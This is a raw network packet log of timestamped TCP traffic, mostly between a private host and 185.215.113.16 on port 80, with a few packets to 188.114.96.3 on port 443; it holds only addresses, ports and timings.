Oct 30, 2024 21:56:23.365736961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365750074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365761995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.365771055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365822077 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365822077 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.365993977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366055965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366060019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366071939 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366084099 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366110086 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366117001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366132021 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366152048 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366152048 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366153002 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366190910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366508007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366530895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366543055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366556883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366584063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366584063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.366581917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366600037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.366642952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372419119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372464895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372478008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372484922 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372519970 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372520924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372533083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372545004 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372577906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372606993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372689009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372699976 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372710943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372720957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372730970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372750998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372750044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372762918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372771025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372773886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372785091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372802019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372802973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372813940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.372826099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372844934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.372873068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373496056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373516083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373545885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373578072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373595953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373606920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373617887 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373630047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373647928 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373661041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373666048 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373672009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373682022 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.373737097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.373737097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374228954 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374248028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374262094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374268055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374268055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374320984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374325037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374325037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374353886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374367952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374367952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374396086 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374397993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374408007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374416113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374430895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.374434948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374452114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.374470949 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.416311979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416359901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416373968 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416405916 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.416425943 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.416503906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416515112 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416527033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.416589975 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417284966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.417316914 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417327881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417330980 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.417342901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.417371988 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417387962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417396069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417470932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.417484999 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.417512894 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.417526007 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481677055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481704950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481719971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481740952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481774092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481774092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481781006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481792927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481802940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481815100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481825113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481858015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481889963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481901884 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.481930971 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.481956959 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.482057095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.482069016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.482079983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.482103109 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.482120037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.482830048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.482889891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483006001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483017921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483047962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483074903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483233929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483274937 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483423948 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483473063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483607054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483619928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483660936 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.483762980 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483773947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.483818054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.485527039 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.485538960 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.485549927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.485559940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.485570908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.485611916 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.485651016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489527941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489538908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489550114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489559889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489571095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489577055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489583969 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489597082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489633083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489675045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489686012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489713907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489741087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489855051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489865065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489875078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.489903927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.489947081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490037918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490048885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490060091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490072012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490092039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490113974 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490339994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490350962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490360975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490371943 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490381002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490394115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490396023 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490405083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490413904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.490437031 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490437031 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490464926 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.490958929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491010904 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491123915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491134882 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491147041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491159916 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491172075 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491177082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491182089 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491192102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491198063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491214991 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491236925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491641045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491652966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491664886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491676092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491688013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491698980 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491710901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491715908 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491739988 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491755009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.491799116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.491848946 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.510046959 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:23.510111094 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:23.510200977 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:23.510489941 CET	50237	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:23.510520935 CET	443	50237	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:23.533766031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533780098 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533792019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533803940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533814907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533826113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.533839941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.533864021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.533873081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535124063 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535136938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535150051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535161972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535167933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535181999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535211086 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535278082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535294056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535305977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.535327911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535342932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.535650969 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599153042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599181890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599195004 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599222898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599241018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599267006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599281073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599294901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599318027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599318981 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599348068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599370003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599373102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599395037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599409103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599421978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599422932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599458933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599458933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599474907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599488974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599500895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599505901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599526882 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599560976 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599579096 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599591970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599605083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599616051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599621058 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599630117 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599642038 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599648952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599653959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599678040 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599688053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599690914 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599699974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599711895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.599730968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.599750996 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.605851889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.605901003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.605904102 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.605915070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.605942965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.605957031 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.605982065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.605994940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606005907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606020927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606029987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606049061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606087923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606121063 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606133938 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606146097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606158018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606169939 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606169939 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606182098 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606189013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606194019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606205940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606218100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606230021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606230021 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606236935 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606250048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606256962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606262922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606273890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606283903 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606287003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606298923 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606300116 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606312037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606326103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606331110 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606365919 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606390953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606394053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606431961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606436014 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606443882 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606472015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606487036 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606697083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606709957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606720924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606734037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606745005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606750965 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606789112 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606869936 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.606919050 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:23.606987000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.607000113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:23.607013941 CET	80	50233	185.215.113.16	192.168.2.5
